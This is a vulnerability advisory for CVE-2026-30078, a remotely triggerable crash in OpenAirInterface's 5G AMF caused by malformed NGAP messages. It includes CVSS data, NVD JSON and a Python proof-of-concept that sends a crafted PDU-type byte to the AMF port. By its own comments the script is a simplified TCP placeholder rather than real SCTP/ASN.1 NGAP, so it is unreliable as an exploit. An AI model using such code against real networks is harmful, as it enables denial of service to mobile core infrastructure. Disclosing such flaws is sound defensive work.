Security Vulnerability Report
中文
CVE-2026-30078 CVSS 7.5 HIGH

CVE-2026-30078

Published: 2026-04-06 14:16:23
Last Modified: 2026-04-10 18:26:05

Description

OpenAirInterface V2.2.0 AMF crashes when it receives an NGAP message with invalid procedure code or invalid PDU-type. For example when the message specification requires InitiatingMessage but sent with successfulOutcome.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openairinterface:oai-cn5g-amf:2.2.0:*:*:*:*:*:*:* - VULNERABLE
OpenAirInterface AMF V2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # This PoC demonstrates sending a malformed NGAP message to trigger the crash. # Note: Real NGAP runs over SCTP, this is a simplified TCP/Socket representation. TARGET_IP = "192.168.1.100" TARGET_PORT = 38412 # Typical AMF SCTP port (example using TCP for simplicity) def create_malformed_ngap(): # NGAP Message PDU type for SuccessfulOutcome is 1 (binary) # InitiatingMessage is 0. # The vulnerability occurs when the process expects 0 but receives 1. # This is a placeholder for the actual ASN.1 encoded structure. # NGAP PDU structure (simplified) pdu_type_successful_outcome = 0b00000001 # Construct a raw byte stream mimicking a SuccessfulOutcome message # where an InitiatingMessage is expected. payload = struct.pack('>B', pdu_type_successful_outcome) payload += b"\x00" * 10 # Padding to simulate message length return payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) payload = create_malformed_ngap() print(f"[*] Sending malformed NGAP message (Length: {len(payload)})...") s.send(payload) print("[*] Exploit sent. Check if AMF crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30078", "sourceIdentifier": "[email protected]", "published": "2026-04-06T14:16:22.807", "lastModified": "2026-04-10T18:26:05.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenAirInterface V2.2.0 AMF crashes when it receives an NGAP message with invalid procedure code or invalid PDU-type. For example when the message specification requires InitiatingMessage but sent with successfulOutcome."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openairinterface:oai-cn5g-amf:2.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "1BB4900E-B5A7-40ED-8DA6-4E372D5036D9"}]}]}], "references": [{"url": "https://gitlab.eurecom.fr/oai/cn5g/oai-cn5g-amf/-/issues/74", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://gitlab.eurecom.fr/oai/cn5g/oai-cn5g-amf/-/merge_requests/414", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}